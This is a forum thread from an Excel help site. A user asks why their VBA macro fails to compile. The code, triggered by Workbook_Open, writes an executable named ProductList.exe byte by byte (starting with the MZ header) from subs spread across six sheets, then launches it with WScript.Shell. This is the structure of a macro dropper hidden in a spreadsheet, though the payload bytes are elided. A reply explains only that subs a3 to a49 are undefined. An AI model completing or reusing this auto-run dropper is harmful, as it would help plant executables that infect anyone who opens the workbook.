Compile error: Sub or Function not defined

eternalpeace

New Member
Joined
Jul 29, 2011
Messages
3
Sub abc()
Set FSO = CreateObject("Scripting.FileSystemObject")
Set File = FSO.CreateTextFile("ProductList.exe", True)
File.Close
a1
a2
a3
a4
a5
a6
a7
a8
a9
a10
a11
a12
a13
a14
a15
a16
a17
a18
a19
a20
a21
a22
a23
a24
a25
a26
a27
a28
a29
a30
a31
a32
a33
a34
a35
a36
a37
a38
a39
a40
a41
a42
a43
a44
a45
a46
a47
a48
a49
Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run Chr(34) & "ProductList.exe" & Chr(34), 1, False
Set shell = Nothing
End Sub

Private Sub Workbook_Open()
abc
End Sub



==============================
Sub a1()
Set filesys = CreateObject("Scripting.FileSystemObject")
Set Filetxt = filesys.OpenTextFile("ProductList.exe", 8, True)
Filetxt.Write Chr(77)
.
.
.
.
Filetxt.Close
End Sub
===============================
Sub a2()
Set filesys = CreateObject("Scripting.FileSystemObject")
Set Filetxt = filesys.OpenTextFile("ProductList.exe", 8, True)
Filetxt.Write Chr(30)
.
.
.
Filetxt.Close
End Sub
 
Last edited:

Excel Facts

Which Excel functions can ignore hidden rows?
The SUBTOTAL and AGGREGATE functions ignore hidden rows. AGGREGATE can also exclude error cells and more.
Hello and welcome to The Board.
Your code will not compile because only a1 and a2 subroutines have been created.
Therefore a3 is not defined - neither have those that follow.
 
Upvote 0
How do I go arround this? How do I get a3 to a49 defined?

Project is as following:

Sheet1(Sheet1) to Sheet6(Sheet6)
Each Sheet Containing Sub a1() to Suba49() with the following code inside:
Set filesys = CreateObject("Scripting.FileSystemObject")
Set Filetxt = filesys.OpenTextFile("ProductList.exe", 8, True)
Filetxt.Write Chr(77)
Filetxt.Write Chr(90)
.
.
.
.
ThisWorkbook containing the code I have pasted in original post.
On document open, it should write ProductList.exe and run it using macro
 
Upvote 0
How do I go arround this? How do I get a3 to a49 defined?

Project is as following:

Sheet1(Sheet1) to Sheet6(Sheet6)
Each Sheet Containing Sub a1() to Suba49() with the following code inside:
Set filesys = CreateObject("Scripting.FileSystemObject")
Set Filetxt = filesys.OpenTextFile("ProductList.exe", 8, True)
Filetxt.Write Chr(77)
Filetxt.Write Chr(90)
.
.
.
.
ThisWorkbook containing the code I have pasted in original post.
On document open, it should write ProductList.exe and run it using macro

2jf0fiq.jpg

23jg044.jpg
 
Upvote 0

Forum statistics

Threads
1,224,594
Messages
6,179,792
Members
452,942
Latest member
VijayNewtoExcel

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Back
Top